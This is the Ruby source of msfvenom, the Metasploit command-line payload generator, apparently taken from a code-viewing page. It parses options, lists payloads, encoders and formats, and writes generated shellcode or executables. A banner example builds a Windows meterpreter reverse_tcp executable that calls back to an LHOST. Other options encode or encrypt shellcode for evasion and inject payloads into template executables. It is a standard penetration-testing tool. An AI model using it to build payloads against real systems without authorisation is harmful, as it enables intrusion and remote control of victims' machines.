123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507 |
- #!/usr/bin/env ruby
- # -*- coding: binary -*-
- class MsfVenomError < StandardError; end
- class HelpError < StandardError; end
- class UsageError < MsfVenomError; end
- require 'optparse'
- require 'timeout'
- # Silences warnings as they only serve to confuse end users
- if defined?(Warning) && Warning.respond_to?(:[]=)
- Warning[:deprecated] = false
- end
- msfbase = __FILE__
- while File.symlink?(msfbase)
- msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
- end
- $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
- require 'metasploit/framework/profiler'
- Metasploit::Framework::Profiler.start
- def require_deps
- require 'msfenv'
- $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
- require 'rex'
- require 'msf/core/payload_generator'
- require 'msf/core/constants'
- @framework_loaded = true
- end
- # Creates a new framework object.
- #
- # @note Ignores any previously cached value.
- # @param (see ::Msf::Simple::Framework.create)
- # @return [Msf::Framework]
- def init_framework(create_opts={})
- require_deps unless @framework_loaded
- create_opts[:module_types] ||= [
- ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP
- ]
- create_opts[:module_types].map! do |type|
- Msf.const_get("MODULE_#{type.upcase}")
- end
- @framework = ::Msf::Simple::Framework.create(create_opts)
- unless $stdout.tty?
- Rex::Text::Table.unwrap_tables!
- end
- end
- # Cached framework object
- #
- # @return [Msf::Framework]
- def framework
- return @framework if @framework
- init_framework
- @framework
- end
- def parse_args(args)
- opts = {}
- datastore = {}
- opt = OptionParser.new
- banner = "MsfVenom - a Metasploit standalone payload generator.\n"
- banner << "Also a replacement for msfpayload and msfencode.\n"
- banner << "Usage: #{$0} [options] <var=val>\n"
- banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
- opt.banner = banner
- opt.separator('')
- opt.separator('Options:')
- opt.on('-l', '--list <type>', Array, 'List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all') do |l|
- if l.to_s.empty?
- l = ["all"]
- end
- opts[:list] = l
- end
- opt.on('-p', '--payload <payload>', String,
- "Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom") do |p|
- if p == '-'
- opts[:payload] = 'stdin'
- else
- opts[:payload] = p
- end
- end
- opt.on('--list-options', "List --payload <value>'s standard, advanced and evasion options") do
- opts[:list_options] = true
- end
- opt.on('-f', '--format <format>', String, "Output format (use --list formats to list)") do |f|
- opts[:format] = f.downcase
- end
- opt.on('-e', '--encoder <encoder>', String, 'The encoder to use (use --list encoders to list)') do |e|
- opts[:encoder] = e
- end
- opt.on('--service-name <value>', String, 'The service name to use when generating a service binary') do |s|
- opts[:servicename] = s
- opts[:sub_method] = true # Needed to ensure that to_win32pe_service() will call
- # exe_sub_method() for x86 binaries, not needed and ignored for x64 binaries.
- end
- opt.on('--sec-name <value>', String, 'The new section name to use when generating large Windows binaries. Default: random 4-character alpha string') do |s|
- opts[:secname] = s
- end
- opt.on('--smallest', 'Generate the smallest possible payload using all available encoders') do
- opts[:smallest] = true
- end
- opt.on('--encrypt <value>', String, 'The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)') do |e|
- opts[:encryption_format] = e
- end
- opt.on('--encrypt-key <value>', String, 'A key to be used for --encrypt') do |e|
- init_framework
- opts[:encryption_key] = Rex::Text.dehex(e)
- end
- opt.on('--encrypt-iv <value>', String, 'An initialization vector for --encrypt') do |e|
- opts[:encryption_iv] = e
- end
- opt.on('-a', '--arch <arch>', String, 'The architecture to use for --payload and --encoders (use --list archs to list)') do |a|
- opts[:arch] = a
- end
- opt.on('--platform <platform>', String, 'The platform for --payload (use --list platforms to list)') do |l|
- opts[:platform] = l
- end
- opt.on('-o', '--out <path>', 'Save the payload to a file') do |x|
- opts[:out] = x
- end
- opt.on('-b', '--bad-chars <list>', String, 'Characters to avoid example: \'\x00\xff\'') do |b|
- init_framework
- opts[:badchars] = Rex::Text.dehex(b)
- end
- opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
- opts[:nops] = n.to_i
- end
- opt.on('--pad-nops', 'Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)') do
- opts[:padnops] = true
- end
- opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
- opts[:space] = s
- end
- opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
- opts[:encoder_space] = s
- end
- opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
- opts[:iterations] = i
- end
- opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
- opts[:add_code] = x
- end
- opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
- opts[:template] = x
- end
- opt.on('-k', '--keep', 'Preserve the --template behaviour and inject the payload as a new thread') do
- opts[:keep] = true
- end
- opt.on('-v', '--var-name <value>', String, 'Specify a custom variable name to use for certain output formats') do |x|
- opts[:var_name] = x
- end
- opt.on('-t', '--timeout <second>', Integer, "The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)") do |x|
- opts[:timeout] = x
- end
- opt.on_tail('-h', '--help', 'Show this message') do
- raise HelpError, "#{opt}"
- end
- begin
- opt.parse!(args)
- rescue OptionParser::InvalidOption => e
- raise UsageError, "Invalid option\n#{opt}"
- rescue OptionParser::MissingArgument => e
- raise UsageError, "Missing required argument for option\n#{opt}"
- end
- if opts.empty?
- raise UsageError, "No options\n#{opt}"
- end
- if args
- args.each do |x|
- k,v = x.split('=', 2)
- datastore[k.upcase] = v.to_s
- end
- if opts[:payload].to_s =~ /[\_\/]reverse/ && datastore['LHOST'].nil?
- init_framework
- datastore['LHOST'] = Rex::Socket.source_address
- end
- end
- if opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin
- opts[:payload] = "stdin"
- end
- if opts[:payload].downcase == 'stdin' && !opts[:list]
- $stderr.puts "Attempting to read payload from STDIN..."
- begin
- opts[:timeout] ||= 30
- ::Timeout.timeout(opts[:timeout]) do
- opts[:stdin] = payload_stdin
- end
- rescue Timeout::Error
- opts[:stdin] = ''
- end
- end
- opts[:datastore] = datastore
- opts
- end
- # Read a raw payload from stdin (or whatever IO object we're currently
- # using as stdin, see {#initialize})
- #
- # @return [String]
- def payload_stdin
- @in = $stdin
- @in.binmode
- payload = @in.read
- payload
- end
- def dump_platforms
- init_framework(:module_types => [])
- supported_platforms = []
- Msf::Module::Platform.subclasses.each {|c| supported_platforms << c.realname.downcase}
- tbl = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Platforms [--platform <value>]",
- 'Columns' =>
- [
- "Name",
- ])
- supported_platforms.sort.each do |name|
- tbl << [name]
- end
- "\n" + tbl.to_s + "\n"
- end
- def dump_archs
- init_framework(:module_types => [])
- supported_archs = ARCH_ALL.dup
- tbl = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Architectures [--arch <value>]",
- 'Columns' =>
- [
- "Name",
- ])
- supported_archs.sort.each do |name|
- tbl << [name]
- end
- "\n" + tbl.to_s + "\n"
- end
- def dump_encrypt
- init_framework(:module_types => [])
- tbl = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Encryption Formats [--encrypt <value>]",
- 'Columns' =>
- [
- "Name",
- ])
- ::Msf::Simple::Buffer.encryption_formats.each do |name|
- tbl << [ name]
- end
- "\n" + tbl.to_s + "\n"
- end
- def dump_formats
- init_framework(:module_types => [])
- tbl1 = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Executable Formats [--format <value>]",
- 'Columns' =>
- [
- "Name"
- ])
- ::Msf::Util::EXE.to_executable_fmt_formats.each do |name|
- tbl1 << [ name ]
- end
- tbl2 = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Transform Formats [--format <value>]",
- 'Columns' =>
- [
- "Name"
- ])
- ::Msf::Simple::Buffer.transform_formats.each do |name|
- tbl2 << [ name ]
- end
- "\n" + tbl1.to_s + "\n" + tbl2.to_s + "\n"
- end
- def dump_payloads(platform = nil, arch = nil)
- init_framework(:module_types => [ :payload ])
- tbl = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Payloads (#{framework.stats.num_payloads} total) [--payload <value>]",
- 'Columns' =>
- [
- "Name",
- "Description"
- ])
- framework.payloads.each_module(
- 'Platform' => platform ? Msf::Module::PlatformList.transform(platform.split(',')) : nil,
- 'Arch' => arch ? arch.split(',') : nil) do |name, mod|
- begin
- mod_info = mod.new.description.split.join(' ')
- rescue ::Exception, ::LoadError => e
- wlog("Module #{name} failed to initialize: #{e}", 'core', LEV_0)
- next
- end
- tbl << [ name, mod_info ]
- end
- "\n" + tbl.to_s + "\n"
- end
- def dump_encoders(arch = nil)
- init_framework(:module_types => [ :encoder ])
- tbl = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : "") + " [--encoder <value>]",
- 'Columns' =>
- [
- "Name",
- "Rank",
- "Description"
- ])
- cnt = 0
- framework.encoders.each_module(
- 'Arch' => arch ? arch.split(',') : nil) do |name, mod|
- tbl << [ name, mod.rank_to_s, mod.new.name ]
- cnt += 1
- end
- (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n"
- end
- def dump_nops
- init_framework(:module_types => [ :nop ])
- tbl = Rex::Text::Table.new(
- 'Indent' => 4,
- 'Header' => "Framework NOPs (#{framework.stats.num_nops} total)",
- 'Columns' =>
- [
- "Name",
- "Description"
- ])
- framework.nops.each_module do |name, mod|
- tbl << [ name, mod.new.description.split.join(' ') ]
- end
- "\n" + tbl.to_s + "\n"
- end
- begin
- generator_opts = parse_args(ARGV)
- rescue HelpError => e
- $stderr.puts e.message
- exit(1)
- rescue MsfVenomError => e
- $stderr.puts "Error: #{e.message}"
- exit(1)
- end
- if generator_opts[:list]
- generator_opts[:list].each do |mod|
- case mod.downcase
- when "payloads", "payload", "p"
- $stdout.puts dump_payloads(generator_opts[:platform], generator_opts[:arch])
- when "encoders", "encoder", "e"
- $stdout.puts dump_encoders(generator_opts[:arch])
- when "nops", "nop", "n"
- $stdout.puts dump_nops
- when "platforms", "dump_platform"
- $stdout.puts dump_platforms
- when "archs", "dump_arch"
- $stdout.puts dump_archs
- when "encrypts", "encrypt", "encryption"
- $stdout.puts dump_encrypt
- when "formats", "format", "f"
- $stdout.puts dump_formats
- when "all", "a"
- # Init here so #dump_payloads doesn't create a framework with
- # only payloads, etc.
- init_framework
- $stdout.puts dump_payloads
- $stdout.puts dump_encoders
- $stdout.puts dump_nops
- $stdout.puts dump_platforms
- $stdout.puts dump_archs
- $stdout.puts dump_encrypt
- $stdout.puts dump_formats
- else
- $stderr.puts "Invalid type (#{mod}). These are valid: payloads, encoders, nops, platforms, archs, encrypt, formats, all"
- end
- end
- exit(0)
- end
- if generator_opts[:list_options]
- payload_mod = framework.payloads.create(generator_opts[:payload])
- if payload_mod.nil?
- $stderr.puts "Invalid payload: #{generator_opts[:payload]}"
- exit(1)
- end
- $stderr.puts "Options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
- $stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
- $stderr.puts "\nAdvanced options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
- $stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
- $stderr.puts "\nEvasion options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
- $stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
- exit(0)
- end
- generator_opts[:framework] = framework
- generator_opts[:cli] = true
- begin
- venom_generator = Msf::PayloadGenerator.new(generator_opts)
- payload = venom_generator.generate_payload
- rescue Msf::InvalidFormat => e
- $stderr.puts "Error: #{e.message}"
- $stderr.puts dump_formats
- rescue ::Exception => e
- elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
- $stderr.puts "Error: #{e.message}"
- end
- # No payload generated, no point to go on
- exit(2) unless payload
- if generator_opts[:out]
- begin
- ::File.open(generator_opts[:out], 'wb') do |f|
- f.write(payload)
- end
- $stderr.puts "Saved as: #{generator_opts[:out]}"
- rescue ::Exception => e
- # If I can't save it, then I can't save it. I don't think it matters what error.
- elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
- $stderr.puts "Error: #{e.message}"
- end
- else
- output_stream = $stdout
- output_stream.binmode
- output_stream.write payload
- # trailing newline for pretty output
- $stderr.puts unless payload =~ /\n$/
- end
|